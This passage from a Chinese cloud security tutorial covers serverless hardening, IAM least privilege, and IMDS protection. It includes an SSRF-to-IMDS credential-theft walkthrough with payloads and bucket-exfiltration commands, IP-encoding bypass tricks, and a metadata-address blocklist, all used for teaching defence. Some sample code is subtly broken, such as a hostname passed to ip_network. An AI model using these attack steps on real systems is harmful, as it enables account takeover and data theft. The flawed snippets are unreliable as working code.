# 防御 3:设置超时(防止慢函数)
# ============================================================
aws lambda update-function-configuration \
--function-name acme-thumbnail \
--timeout 30
# ★ 必须设,且要小于业务可接受的最长时间
# 默认超时是 3 秒,但很多人改成了 15 分钟(最大值)
# → 如果函数卡住了,15 分钟 × 高并发 = 天价
# ============================================================
# 防御 4:API Gateway 层面的限流
# ============================================================
# - 开启 API Gateway 的 Usage Plan(每个 API Key 的调用配额)
# - 设置账号级的并发限制(默认 1000,可以申请降低)
# - ★ 接入 WAF,配置基于速率的规则(rate-based rule)
aws wafv2 create-rule-group ... # 速率限制规则:单个 IP 5 分钟内超过 2000 次就阻断
# ============================================================
# 防御 5:★ 防递归调用(代码层面 + 架构层面)
# ============================================================
# 架构层面:
# - ★ 函数的输出【绝对不要】写回触发它的那个输入源
# 反例:S3 桶 A 的上传 → 触发函数 → 输出又写回桶 A → 无限循环
# 正解:输出到【另一个桶】,且那个桶不配置触发器
#
# - 给 S3 触发器配置前缀和后缀过滤
# (只处理 uploads/ 下的 .jpg,不处理 thumbnails/ 下的任何文件)
# 代码层面:
# - 用幂等性设计:给每次处理一个唯一 ID,处理过的跳过
# - ★ 检测递归:在事件里带一个"处理深度"字段,超过阈值就停止
# ★ 防递归的实用代码模式
import os
import json
MAX_DEPTH = int(os.environ.get('MAX_PROCESS_DEPTH', '3'))
def lambda_handler(event, context):
# ① 从事件元数据里读"这是第几层处理"
depth = 0
if 'metadata' in event and 'depth' in event['metadata']:
depth = event['metadata']['depth']
if depth >= MAX_DEPTH:
# ★ 超过深度就告警并停止,不再继续触发下游
logger.warning(f"Max processing depth reached: {depth}")
return {"statusCode": 200, "body": "depth limit reached"}
# ② 处理业务逻辑
result = do_work(event)
# ③ 如果确实要触发下游,把深度 +1
if result.needs_further_processing:
event['metadata'] = {'depth': depth + 1}
publish_event(event)
return result
10.1.6 Serverless 部署包与依赖的风险
★ 一个问题:函数的部署包越大越危险
① 冷启动更慢
Java 的 fat jar 50MB → 冷启动 5 秒+
★ 这也是为什么 Serverless 场景推荐 Go / Node / Python
② ★ 依赖越多,供应链风险越大(接第九章)
一个 50MB 的 fat jar 里可能有 200 个 jar 包
→ 你根本不知道里面有什么
→ Log4Shell 就是这么藏进去的
③ 部署包本身可能泄露敏感信息
★ 真实案例:有人把 .env、数据库密码、私钥打包进了部署包
→ 部署包被上传到云平台,任何有"下载函数代码"权限的人都能拿到
→ ★ 更糟:有些公司的函数代码是"公开可读"的(配置错误)
★ 部署包的六个安全实践:
# ① 用层(Layer)分离依赖(AWS Lambda / 阿里云 FC 都支持)
# 把不常变的依赖放到层里,函数代码只放业务代码
# → 部署包变小、冷启动变快、依赖可复用可单独管理
aws lambda publish-layer-version \
--layer-name acme-common-libs \
--zip-file fileb://layer.zip \
--compatible-runtimes python3.11
# ② 排除不需要的文件
# Python: 用 .lambdaignore 或 serverless.yml 的 exclude
# Node: serverless-esbuild / ncc 打包成单文件
# Java: 用 shade 精确控制打入的 jar
# ③ ★ 扫描部署包里的敏感信息
unzip -l function.zip | grep -E "\.(env|pem|key)$|credentials|\.git/"
# → 有输出就说明有问题
# ④ 用 SBOM(接 9.4)
syft file:./function.zip -o cyclonedx-json > sbom.json
# ⑤ 减小体积
# Python: 只打包 site-packages 里实际用到的
# Node: 用 esbuild bundle + minify,去掉 devDependencies
# Java: ★ 别用 fat jar,用 Lambda 的 Java 运行时 + 精简依赖
# 或考虑 GraalVM Native Image(冷启动从 5s → 100ms)
# ⑥ 部署包签名与完整性校验
# 虽然云平台通常不强制,但高合规场景可以做
10.1.7 Serverless 加固清单
## Serverless 函数安全检查表
### 权限(★ 最重要)
- [ ] 1. 执行角色遵循最小权限,没有 Action:* 或 Resource:*
- [ ] 2. ★ 没有 iam:CreateUser / iam:AttachPolicy / lambda:UpdateFunctionCode
/ cloudtrail:StopLogging 等高危权限
- [ ] 3. S3 / DynamoDB 等资源权限精确到【具体的桶/表 + 前缀】
- [ ] 4. 不同函数用【不同的执行角色】(不是一个角色给所有函数用)
- [ ] 5. 用 IAM Access Analyzer 或 Cloudsplaining 定期审查策略
### 输入与代码
- [ ] 6. ★ 所有事件源都被当作不可信输入(S3 对象名、MQ 消息、DB 变更流)
- [ ] 7. 用白名单/schema 校验输入(不用黑名单)
- [ ] 8. 命令执行用 subprocess 列表传参(不用 os.system 字符串拼接)
- [ ] 9. 没有 pickle.loads / eval / exec(反序列化漏洞)
- [ ] 10. XML 解析用 defusedxml
### 状态与数据
- [ ] 11. ★ 全局变量里不存任何请求相关/用户相关的数据
- [ ] 12. /tmp 里的敏感文件用 try/finally 确保清理(最好覆写后删)
- [ ] 13. 密钥放密钥管理服务(Secrets Manager / KMS),不放环境变量
- [ ] 14. ★ 日志里不打印密钥、token、完整请求体(脱敏)
- [ ] 15. 日志组的保留期和访问权限已配置
### 资源与成本
- [ ] 16. ★ 设置了并发限制(reserved concurrency)
- [ ] 17. ★ 设置了超时(timeout),且小于业务可接受上限
- [ ] 18. ★ 配置了预算告警(50% / 80% / 100% 三档)
- [ ] 19. API Gateway 配置了 Usage Plan 和限流
- [ ] 20. ★ 不存在"函数输出写回触发源"的递归调用
### 部署与监控
- [ ] 21. 部署包里没有 .env / .pem / .git / credentials
- [ ] 22. 部署包有 SBOM 且定期扫描
- [ ] 23. 开启了云审计日志(CloudTrail / 操作审计),且日志文件防篡改
- [ ] 24. ★ 监控异常:函数被异常频繁调用、函数配置被修改、新的函数被创建
- [ ] 25. 函数代码开启了版本管理,可以回滚
10.1.8 Serverless 的十个坑(经验总结)
坑 1:以为"没有服务器 = 没有安全责任"
→ 云的"责任共担模型":底层归云厂商,你的代码配置归你
坑 2:★ 给执行角色 *:* 权限
→ 最常见的致命错误。一个函数被攻破 = 整个云账号沦陷
坑 3:把内部系统产生的事件当作可信输入
→ S3 对象名、MQ 消息体的源头都是外部用户
坑 4:用全局变量存用户状态
→ 环境复用导致跨请求数据泄漏(极难复现的偶发 bug)
坑 5:敏感文件写在 /tmp 不清理
→ 下次调用(可能是别人的请求)能读到
坑 6:密钥放环境变量
→ 明文存储 + 容易打印到日志 + 有配置查看权限的人都能看到
坑 7:函数输出写回触发源
→ 无限递归 → 一夜之间几十万次调用
坑 8:不设并发限制和预算告警
→ 被刷一次就是几万甚至几十万美元账单
坑 9:日志里打印完整请求体和环境变量
→ 密钥全进日志,而日志权限往往是"所有人可读"
坑 10:★ 以为"修好函数代码"就结束了,忘了查【持久化】
→ 攻击者可能已经:
- 创建了新的函数作为后门
- 修改了现有函数的代码
- 创建了新的 IAM 用户
- 加了定时触发器
→ ★ 处置时必须查 CloudTrail 的所有 API 调用记录(见第九章的处置流程)
10.2 云身份与权限(云上最危险的东西)
★ 一句话:在传统机房里,最容易被攻破的是“服务器”; 在云上,最容易被攻破的是**“权限”**。
服务器被攻破,损失是一台机器; 权限被攻破,损失是整个账号里的所有资源。
10.2.1 先讲清楚:云 IAM 到底是什么
★ 名词:IAM(Identity and Access Management,身份与访问管理) 白话:云平台里那套**“谁 能 对 什么东西 做 什么操作”**的管理系统。 生活类比:公司的门禁系统 —— 员工是“身份”,门禁卡权限是“策略”,每个房间是“资源”。
★ 名词:Principal(主体) 白话:**“谁”**要来操作。可以是人(用户)、程序(服务)、或者一个“角色”。
★ 名词:Policy(策略) 白话:一张写着“允许/拒绝做什么”的纸条,贴到主体或资源上。
★ 名词:Role(角色) 白话:一顶“帽子”。谁戴上这顶帽子,就临时获得帽子上的权限。 ★ 角色本身不是人也不是程序,它是一组权限的集合,等着被“扮演”(Assume)。
★ 名词:Assume(扮演/代入)
白话:戴帽子的动作。你的程序说“我现在要扮演 prod-db-backup 这个角色”,
云平台验证你有权这么做之后,发给你一把临时钥匙。
★ 名词:STS(Security Token Service,安全令牌服务) 白话:发临时钥匙的窗口。它发出去的钥匙有过期时间(通常 15 分钟 ~ 12 小时), 过期自动失效 ★ 这是云上最安全的一种凭据形态。
一张图看懂:Linux 权限 vs 云 IAM
┌──────────────────────────────────────────────────────────────┐
│ Linux 文件权限 │
├──────────────────────────────────────────────────────────────┤
│ 维度: 用户 / 组 × 读 / 写 / 执行 │
│ 数量级: 几十个用户,几百个文件 │
│ 粒度: 文件级 │
│ 判断逻辑: 先看是不是 owner,再看 group,最后 other │
│ ★ 特点: 简单,最坏情况也就是把 /etc/shadow 改了 │
└──────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ 云 IAM(以 AWS 为例) │
├──────────────────────────────────────────────────────────────┤
│ 维度: 主体 × 操作(Action) × 资源(Resource) × 条件(Condition)│
│ 数量级: 上百个用户、上千个角色、上万条策略、几百种服务 │
│ 每个服务有几十~几百个 API(Action) │
│ 粒度: 单个 API 级(如 s3:GetObject) │
│ 判断逻辑: ★ 五道关卡全过才允许(见下) │
│ ★ 特点: 极其复杂,最坏情况是整个云账号的资源被搬空、被加密、 │
│ 或者被拿去挖矿产生几百万账单 │
└──────────────────────────────────────────────────────────────┘
★ 为什么云 IAM 比 Linux 权限危险得多
理由 1:【爆炸半径(Blast Radius)不是一个量级】
Linux:拿到 www-data 用户 → 影响一个网站
云上:拿到一个有 AdministratorAccess 的 AK/SK
→ 影响账号里的所有服务器、数据库、存储桶、账单
理由 2:【凭据会"流窜",而 Linux 密码不会】
Linux:密码存在 /etc/shadow,很难被偷出来
云上:凭据是【一个字符串】(AK/SK 或临时 Token),
它可能出现在:
- 代码仓库(最常见!)
- 环境变量
- 日志
- 前端 JS 打包产物
- Docker 镜像层
- 配置文件
- 错误信息堆栈
- CI 日志(★ 最容易被忽略,而且 CI 日志常常是公开的)
★ 只要泄露一次,就是永久的、全球可用的钥匙
理由 3:【权限判断是"组合"出来的,人脑无法穷举】
一个主体最终有什么权限 = 所有相关策略的叠加
= 组织 SCP(天花板)
+ 权限边界(天花板)
+ 身份策略(Identity-based Policy)
+ 资源策略(Resource-based Policy)
+ 会话策略(Session Policy)
五层叠加,而且默认拒绝、显式拒绝优先
★ 运维自己都经常算不清"我这个角色到底能干什么"
理由 4:【很多权限组合起来等于 "提权到管理员"】
例:iam:CreatePolicyVersion + iam:AttachUserPolicy
= 给自己贴一个管理员策略 = 事实上就是管理员
★ 单看每个权限都很无害,组合起来致命(见 10.2.8)
★ 五道关卡:一个 API 调用是怎么被判断的
请求:用户小明 要执行 s3:DeleteObject 删除 prod-bucket/app.jar
关卡 1:组织 SCP(Service Control Policy)
┌──────────────────────────────────────────┐
│ 组织层面的"宪法",所有账号都不能违反 │
│ 例:禁止关闭 CloudTrail、禁止删除日志桶 │
│ → 若 SCP 拒绝,后面全不用看了,直接拒绝 │
└──────────────────────────────────────────┘
↓ 通过
关卡 2:权限边界(Permissions Boundary)
┌──────────────────────────────────────────┐
│ 给某个主体设的"天花板" │
│ 就算给他贴了管理员策略,也超不过天花板 │
│ ★ 典型用法:让开发团队能自助建角色, │
│ 但建出来的角色不得超过某个权限上限 │
└──────────────────────────────────────────┘
↓ 通过
关卡 3:会话策略(Session Policy)
┌──────────────────────────────────────────┐
│ AssumeRole 时临时附加的限制 │
│ ★ 临时钥匙的权限 = 角色权限 ∩ 会话策略 │
└──────────────────────────────────────────┘
↓ 通过
关卡 4:身份策略(贴在用户/角色身上)
┌──────────────────────────────────────────┐
│ "小明这个人能做什么" │
└──────────────────────────────────────────┘
↓ 通过 / 或者没有显式 Allow
关卡 5:资源策略(贴在资源上,如 S3 Bucket Policy)
┌──────────────────────────────────────────┐
│ "这个桶允许谁来动它" │
│ ★ 同账号内:身份策略 或 资源策略 任一允许即可 │
│ ★ 跨账号:两边都必须允许(交集) │
└──────────────────────────────────────────┘
↓
最终结果
★★★ 三条铁律:
① 默认拒绝(没写就是不允许)
② 显式 Deny 永远压倒一切 Allow(一票否决)
③ 最终权限 = 五层的【交集】(除了同账号内身份策略与资源策略是并集)
10.2.2 权限过大:四种典型形态与收敛方法
★ 定义:权限过大(Over-permission),指的是主体被授予了远超实际需要的权限。 这是云上第一号安全问题——不是漏洞,是最常见、最容易被利用的配置错误。
形态一:通配符滥用
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
★★★ 这就是 AdministratorAccess(管理员权限)
生活类比:你请了个保洁阿姨打扫你家,
然后你给了她【小区所有住户的万能钥匙】+【你的银行卡和密码】+【房本】。
她的实际需要:你家客厅的钥匙 + 打扫时间段的权限
★ 三个常见的“看起来很正常其实很致命”的通配符
// ① 服务级通配:s3:*
{
"Action": "s3:*",
"Resource": "arn:aws:s3:::prod-bucket/*"
}
// ★ 危险在哪:s3:* 包含 s3:DeleteBucket、s3:PutBucketPolicy
// 攻击者可以:删桶 / 改桶策略让桶公开 / 开启桶版本控制然后塞满垃圾数据让你付费
// ② 资源级通配:Resource: "*"
{
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "*"
}
// ★ 危险在哪:这个角色能读写【账号里所有桶的所有对象】
// 包括其他业务的桶、数据库备份桶、密钥桶
// ③ Action 前缀通配:iam:* 或 sts:*
{
"Action": "iam:*",
"Resource": "*"
}
// ★★★ 最危险:等于拿到整个账号的身份控制权
// 可以给自己建用户、建 AK、改别人的策略 → 完全沦陷
形态二:直接给“管理员”图省事
典型对话:
开发:"我的函数访问 S3 报 AccessDenied,帮我看下"
运维:"算了,先给你 AdministratorAccess,上线要紧"
开发:"好"
(三个月后…)
★ 这个函数的执行角色还是 AdministratorAccess
★ 而这个函数的代码里有个 SSRF 漏洞
★ 攻击者 SSRF 打到 IMDS 拿走临时凭据
★ → 整个云账号沦陷
★ 为什么这种事天天发生:
排查权限的成本(10 分钟 ~ 2 小时) > 给个管理员的成本(10 秒)
而【后果是几个月后才会出现的】,当下看不见
形态三:内联策略(Inline Policy)埋雷
★ 名词:内联策略(Inline Policy) 白话:直接焊死在某个人身上的策略,不像“托管策略”那样可以复用和集中管理。
托管策略(Managed Policy): 一份策略文档,可以被 100 个角色引用
★ 改一处,100 个地方生效,好管理
内联策略(Inline Policy): 写在某个具体用户/角色"体内",只属于它一个
★ 每个都要单独查,★ 是审计的盲区
★ 危险:
- IAM 控制台的"用户列表"页看不到内联策略内容,必须点进每个用户才能看到
- 权限审计工具经常漏掉它
- 人离职了,内联策略跟着用户一起留着,没人清理
# ★ 审计脚本:找出所有内联策略(AWS CLI)
# 这是每次做云安全评估必跑的第一条命令
# 1) 所有用户的内联策略
for u in $(aws iam list-users --query 'Users[].UserName' --output text); do
for p in $(aws iam list-user-policies --user-name "$u" --query 'PolicyNames[]' --output text); do
echo "=== USER: $u / POLICY: $p ==="
aws iam get-user-policy --user-name "$u" --policy-name "$p" --output json
done
done
# 2) 所有角色的内联策略(★ 更容易被忽略)
for r in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
for p in $(aws iam list-role-policies --role-name "$r" --query 'PolicyNames[]' --output text); do
echo "=== ROLE: $r / POLICY: $p ==="
aws iam get-role-policy --role-name "$r" --policy-name "$p" --output json
done
done
形态四:僵尸权限(从没被用过的权限)
★ 现象:三年前为了做一次数据迁移,给角色加了 dynamodb:*
迁移早就做完了,权限还挂着
★ 为什么危险:
攻击者拿到这个角色,就能扫你所有 DynamoDB 表
而你以为"这个角色只是个只读的报表角色"
★ 云厂商早就提供了工具(很多人不知道):
AWS → IAM Access Analyzer 的 "Policy Generation"(基于 CloudTrail 生成最小权限策略)
+ "Last Accessed" 标签(显示每个服务最后一次被访问的时间)
阿里云 → RAM 的"权限策略最后使用时间"
腾讯云 → CAM 的"策略最后访问时间"
★ 收敛方法:最小权限的四步闭环
第一步:★ 先知道"实际用了什么"(不要凭猜)
────────────────────────────────────────
aws iam generate-service-last-accessed-details \
--arn arn:aws:iam::123456789012:role/my-app-role
# 等待任务完成后取结果(返回每个服务的最后访问时间)
aws iam get-service-last-accessed-details --job-id <JOB_ID>
★ 输出会告诉你:这个角色 90 天里只用过 s3 和 sqs,
但策略里写了 12 个服务的权限 → 可以砍掉 10 个
第二步:用 CloudTrail 生成"实际用到的精确权限"
────────────────────────────────────────
# AWS IAM Access Analyzer → Policy generation
# 上传 CloudTrail 日志,它自动生成只包含实际调用过的 API 的策略
★ 生活类比:不是问"你想吃什么"(人会往多了说),
而是看你【过去 90 天实际吃了什么】(真实行为)
第三步:★ 先"只记录不拦截",再切换
────────────────────────────────────────
直接把新策略贴上去 → 万一漏了某个 API,线上立刻 500
✅ 正确做法:
① 新旧策略同时挂 30 天
② 用 CloudTrail + Athena 查:新策略下有没有 AccessDenied
③ 有 Denied → 补权限,重新开始 30 天
④ 连续 30 天 0 Denied → 摘掉旧策略
★ 这一步是"最小权限"落地失败的最常见原因:
大家都想一步到位,结果事故一次,以后再也没人敢动了
第四步:把检查固化到 CI 里,防止回潮
────────────────────────────────────────
# 在 IaC 的 CI 流水线里加一条:
# 任何包含 "*" 的 Action 或 Resource,必须审批 + 写注释说明理由
checkov -d terraform/ \
--check CKV_AWS_1 \ # 禁止 AdministratorAccess
--check CKV_AWS_62 \ # 禁止 Action:*
--hard-fail-on HIGH
★ 诚实说明:最小权限的三个现实困难
困难 1:【有些服务的权限模型本身就是粗粒度的】
例:某些托管服务只有 "ReadOnly / FullAccess" 两档,没有中间档
→ 你只能二选一,做不到精确
→ 应对:用资源级限制(Resource ARN)把范围框住,
★ 即使 Action 粗,Resource 精确也能大幅降低风险
困难 2:【动态资源名无法写进策略】
例:函数要读 s3://bucket/${用户ID}/avatar.jpg
★ 你不可能为每个用户写一条策略
→ 应对:用【策略变量】${aws:userid} / ${aws:PrincipalTag/team}
让策略和资源名动态匹配(见下方代码)
困难 3:【业务变化快,权限跟不上,然后就被永久放宽了】
→ 应对:给策略加"过期时间"标签,到期自动告警
★ 组织纪律比技术更重要
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUserReadOwnObjectsOnly",
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::user-uploads/${aws:userid}/*"
}
]
}
★ 上面这条策略的效果:
用户 A 只能读写 user-uploads/A/ 下的对象
用户 B 只能读写 user-uploads/B/ 下的对象
★ 一条策略搞定百万用户,而且是【强制隔离】的
★ 生活类比:酒店房卡
不是给每个客人配一把专属锁(不现实),
而是"这张卡只能开 302 房" —— 卡是通用的,权限是动态的
10.2.3 IMDS(169.254.169.254):云上最著名的一个 IP
★ 名词:IMDS(Instance Metadata Service,实例元数据服务)
白话:每台云服务器内部都藏着的一个“自助查询台”,
你访问 http://169.254.169.254 就能问它:“我是谁?我的 IP 是多少?我的临时凭据是什么?”
★ 名词:169.254.169.254 白话:一个特殊的私有 IP(链路本地地址 / link-local)。 ★ 它只在本机内部有效,不能从外面访问(路由器不会转发这个地址)。 所有主流云平台都用它:AWS、阿里云、腾讯云、Azure、GCP。
为什么要设计这个东西?
────────────────────────────────────────────
云上一台虚拟机启动后,它【不知道自己是谁】。
但它上面跑的程序需要知道:
- 我的实例 ID 是什么?(写日志用)
- 我在哪个地域/可用区?(选最近的数据库用)
- 我的 IP 是多少?(注册到服务发现用)
- ★ 我扮演的角色是什么?临时凭据在哪?(访问 S3/OSS 用)
传统做法:把这些信息写成配置文件,启动时注入
→ 问题:配置文件要管理、要分发、凭据会过期
云的做法:★ 开一个只有本机能访问的"查询台"
程序随时 curl 一下就知道答案
凭据由云平台自动轮换,程序每次现取
IMDSv1 的致命缺陷
IMDSv1(第一版)的工作方式:
────────────────────────────────────────────
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
→ 直接返回:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "FwoGZXIvYXdz...", ← 这是个很长的字符串
"Expiration": "2026-09-04T22:00:00Z"
}
★ 缺陷:★ 一个普通的 GET 请求就拿到了凭据
没有任何身份验证 —— 谁问都给
为什么这个缺陷是致命的?
────────────────────────────────────────────
因为它和【SSRF】组合起来威力无穷(见下)
★ 名词:SSRF(Server-Side Request Forgery,服务端请求伪造) 白话:你让服务器帮你去访问一个网址,结果你让它访问了内网的敏感地址。 生活类比:你让前台小妹帮你“打个电话问一下”,你说“打给 169.254.X”, 她照做了 —— ★ 她不知道这个号码是内部保密线路。
★★★ 完整攻击链:SSRF → IMDS → 云账号沦陷
┌────────────────────────────────────────────────────────────────┐
│ 经典攻击链(2019 年 Capital One 泄露 1 亿条数据的真实路径) │
└────────────────────────────────────────────────────────────────┘
① 目标:一个部署在 EC2 上的 Web 应用,功能是"输入图片 URL → 生成缩略图"
POST /api/thumbnail
{"url": "https://example.com/cat.jpg"}
↑ 用户可控的输入
② 攻击者把 url 改成内网地址(SSRF):
POST /api/thumbnail
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
③ 服务器照做,去请求了这个地址,把结果当成"图片"处理
→ 返回给攻击者(或者写进错误日志 / 缩略图 EXIF / 外带 DNS)
响应内容:
"prod-webapp-role" ← ★ 拿到了角色名
④ 再请求一次,带上角色名:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-webapp-role"}
响应内容:
{
"AccessKeyId": "ASIAY34FZKBOKMUTVX7A",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEJr...(几百个字符)",
"Expiration": "2026-09-04T22:00:00Z"
}
★★★ 拿到云凭据了
⑤ 攻击者在自己电脑上配置这套凭据:
export AWS_ACCESS_KEY_ID=ASIAY34FZKBOKMUTVX7A
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEJr...
aws s3 ls # 列所有桶
aws s3 ls s3://prod-backup/ # 找到备份桶
aws s3 sync s3://prod-backup/ ./stolen/ # ★ 全部拖走
⑥ 如果角色权限够大,还能:
- 创建新的 IAM 用户 + AK/SK(持久化,不受临时凭据过期影响)
- 启动几十台 GPU 机器挖矿
- 给所有 EC2 打快照,传到攻击者的账号(数据外泄)
- 删库跑路
★★ 整个过程可能只要 5 分钟
★ 注意:上面第 ⑤ 步里,ASIA 开头的是临时凭据(STS 签发),
而 AKIA 开头的是长期凭据(IAM User 的 AK/SK)。
★ 看到 ASIA 就说明来自 IMDS 或 AssumeRole。
IMDSv2:加上一道“先取票”
★ 名词:IMDSv2(IMDS 第二版) 白话:问问题之前,先去领一个“号码牌”(Session Token),问的时候必须出示这个牌。 ★ 关键改进:领号码牌必须用 PUT 请求,而且可以设置“这个包最多能跳几跳(hop limit)”。
IMDSv1 vs IMDSv2 对比
────────────────────────────────────────────────────────────────
IMDSv1:
GET /latest/meta-data/iam/security-credentials/role
→ 直接给凭据
IMDSv2(两步):
① 领票(★ 必须用 PUT,且带 X-aws-ec2-metadata-token-ttl-seconds 头)
PUT /latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
→ 返回一个 Token 字符串
② 用票取数据(GET,但必须带 Token 头)
GET /latest/meta-data/iam/security-credentials/role
X-aws-ec2-metadata-token: <上一步拿到的 Token>
→ 给凭据
★ 为什么这样就能防住 SSRF?
因为攻击者要完成 IMDSv2 的两步,需要同时满足:
① 能发【PUT】请求(带自定义请求头)
→ 大多数 SSRF 漏洞点是 GET,或者只能控制 URL 不能控制方法/请求头
→ ★ 比如"输入图片 URL"这种功能,服务端只会发 GET
② 能拿到【第一次的响应内容】(Token),并把它放进第二次请求的【请求头】
→ 很多 SSRF 是"盲 SSRF"(blind SSRF):
你看不到响应内容,只能根据响应时间/是否报错来判断
→ ★ 盲 SSRF 拿不到 Token,第二步就做不了
③ 请求头能穿透(很多代理/WAF 会剥掉自定义头)
★ 结论:IMDSv2 不能 100% 防住 SSRF(如果攻击者能做完整的带外 SSRF + 控制请求头,
依然可以),但它把门槛从"小学生"提高到了"博士生"
★★ 这就是为什么它是最重要的一个防御措施
★ 名词:Hop Limit(跳数限制)
白话:限制这个网络包最多能被转发几次。
★ IMDSv2 里设为 1 的意思:这个包只能在本机内部走,不能被转发。
→ 如果攻击者在容器里发 SSRF,包要从容器走到宿主机(1 跳),就到不了 IMDS 了。
★ 完整防御代码
# ============================================================
# 强制启用 IMDSv2(AWS)
# ============================================================
# ① 对已有实例开启(★ 必须重启后才完全生效?不需要,立即生效)
aws ec2 modify-instance-metadata-options \
--instance-id i-0123456789abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
# ② 在启动模板里固化(★ 防止新机器回潮)
aws ec2 create-launch-template-version \
--launch-template-id lt-0abcd1234 \
--source-version 1 \
--launch-template-data '{
"MetadataOptions": {
"HttpTokens": "required", ← ★ 强制 IMDSv2
"HttpPutResponseHopLimit": 1, ← ★ 只允许本机
"HttpEndpoint": "enabled"
}
}'
# ③ 批量检查:找出所有还在用 IMDSv1 的实例
aws ec2 describe-instances \
--query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].[InstanceId,MetadataOptions.HttpTokens,Tags[?Key==`Name`].Value|[0]]' \
--output table
# ④ ★ 用 IAM 策略强制:不允许启动 IMDSv1 的实例(治本)
cat > deny-imdsv1.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequireIMDSv2",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"aws:RequestTag/IMDSv2": "required"
}
}
},
{
"Sid": "DenyModifyingMetadataOptions",
"Effect": "Deny",
"Action": "ec2:ModifyInstanceMetadataOptions",
"Resource": "*"
}
]
}
EOF
★ 说明:上面第 ④ 条用的是 StringNotEquals + 标签条件,
实际生产中更常见的做法是配合 SCP 在组织层面拒绝(见 10.2.6),
因为标签可以被伪造。最稳妥的组合是:启动模板固化 + SCP 兜底 + 定期扫描。
# ============================================================
# 应用层防御:SSRF 本身就是根因,必须一起治
# ============================================================
import ipaddress
import socket
import urllib.parse
from functools import wraps
# ★ 白话:这个装饰器做三件事
# ① 只允许 http/https(挡掉 file://, gopher://, dict:// 等协议)
# ② 把域名解析成 IP,检查是不是内网地址(★ 关键:防 DNS Rebinding 要重新绑定)
# ③ 用一个自定义的 socket 层,在真正连接时再查一次
BLOCKED_NETWORKS = [
ipaddress.ip_network('169.254.169.254/32'), # ★ 云元数据服务(最高优先级)
ipaddress.ip_network('169.254.169.253/32'), # AWS 部分区域的容器元数据
ipaddress.ip_network('169.254.170.2/32'), # ECS 任务元数据
ipaddress.ip_network('169.254.0.0/16'), # 链路本地
ipaddress.ip_network('127.0.0.0/8'), # 本地回环
ipaddress.ip_network('10.0.0.0/8'), # 私有网段
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('100.100.100.200/32'), # ★ 阿里云元数据服务
ipaddress.ip_network('metadata.google.internal/32'), # GCP
]
def is_safe_url(url: str) -> tuple[bool, str]:
"""
检查 URL 是否安全(不会打到本地/内网/云元数据)
返回 (是否安全, 原因)
"""
try:
parsed = urllib.parse.urlparse(url)
except Exception as e:
return False, f"URL 解析失败: {e}"
# ★ ① 协议白名单(★ 这一步能挡掉 90% 的 SSRF 变形)
if parsed.scheme not in ('http', 'https'):
return False, f"禁止的协议: {parsed.scheme}"
# ★ ② 禁止用户名密码里带 @ 的混淆写法(http://evil.com@169.254.169.254/)
if '@' in (parsed.netloc or ''):
return False, "URL 中不允许包含 @ 认证信息"
hostname = parsed.hostname
if not hostname:
return False, "缺少主机名"
# ★ ③ 禁止直接用 IP 的变形写法(十进制 2852039166 = 169.254.169.254)
if _is_ip_literal(hostname):
return False, "不允许直接使用 IP 地址,请使用域名"
# ★ ④ 解析域名并检查所有解析结果
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror as e:
return False, f"域名解析失败: {e}"
for info in infos:
ip_str = info[4][0]
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return False, f"非法 IP: {ip_str}"
for net in BLOCKED_NETWORKS:
if ip in net:
return False, f"★ 目标地址在黑名单网段: {ip} ({net})"
return True, "OK"
def _is_ip_literal(hostname: str) -> bool:
"""
★ 检查是否是各种变形的 IP 写法
常见绕过手法:
- 十进制整数: http://2852039166/ → 169.254.169.254
- 八进制: http://0251.0376.0251.0376/ → 169.254.169.254
- 十六进制: http://0xa9.0xfe.0xa9.0xfe/ → 169.254.169.254
- 省略写法: http://169.254.169.254./ → 末尾多点一个句号
"""
import re
# 纯数字(十进制整数 IP)
if re.fullmatch(r'\d{1,20}', hostname):
return True
# 十六进制
if hostname.lower().startswith('0x'):
return True
# 点分十进制
parts = hostname.split('.')
if len(parts) == 4:
try:
if all(re.fullmatch(r'\d{1,3}', p) and int(p) <= 255 for p in parts):
return True
except ValueError:
pass
# 末尾带点
if hostname.endswith('.'):
return True
return False
# ============================================================
# ★★★ 最关键的补充:DNS Rebinding 防护
# ============================================================
# ★ 上面的代码有个致命漏洞:
# 第一步 getaddrinfo 拿到的是 1.2.3.4(合法外网 IP)
# 第二步真正发起 HTTP 请求时,操作系统会【再解析一次】
# 攻击者控制的 DNS 服务器第二次返回 169.254.169.254
# → ★ 检查是安全的,但实际连接打到了元数据服务
#
# ✅ 正确做法:解析后【把 IP 固定下来】,请求时用这个 IP + Host 头指定域名
#
# 生活类比:你要去"张三家",先查到地址是"幸福小区 3 栋"
# 然后你开车出发 —— 但路上有人把指路牌改成了"保密局"
# ★ 正确做法:查到地址后,你自己导航按坐标走,不看路牌
import http.client
def safe_fetch(url: str, timeout: int = 5) -> bytes:
"""★ 安全的 HTTP 请求:解析一次,绑定 IP,防止 DNS Rebinding"""
parsed = urllib.parse.urlparse(url)
ok, reason = is_safe_url(url)
if not ok:
raise PermissionError(f"SSRF 防护拦截: {reason}")
hostname = parsed.hostname
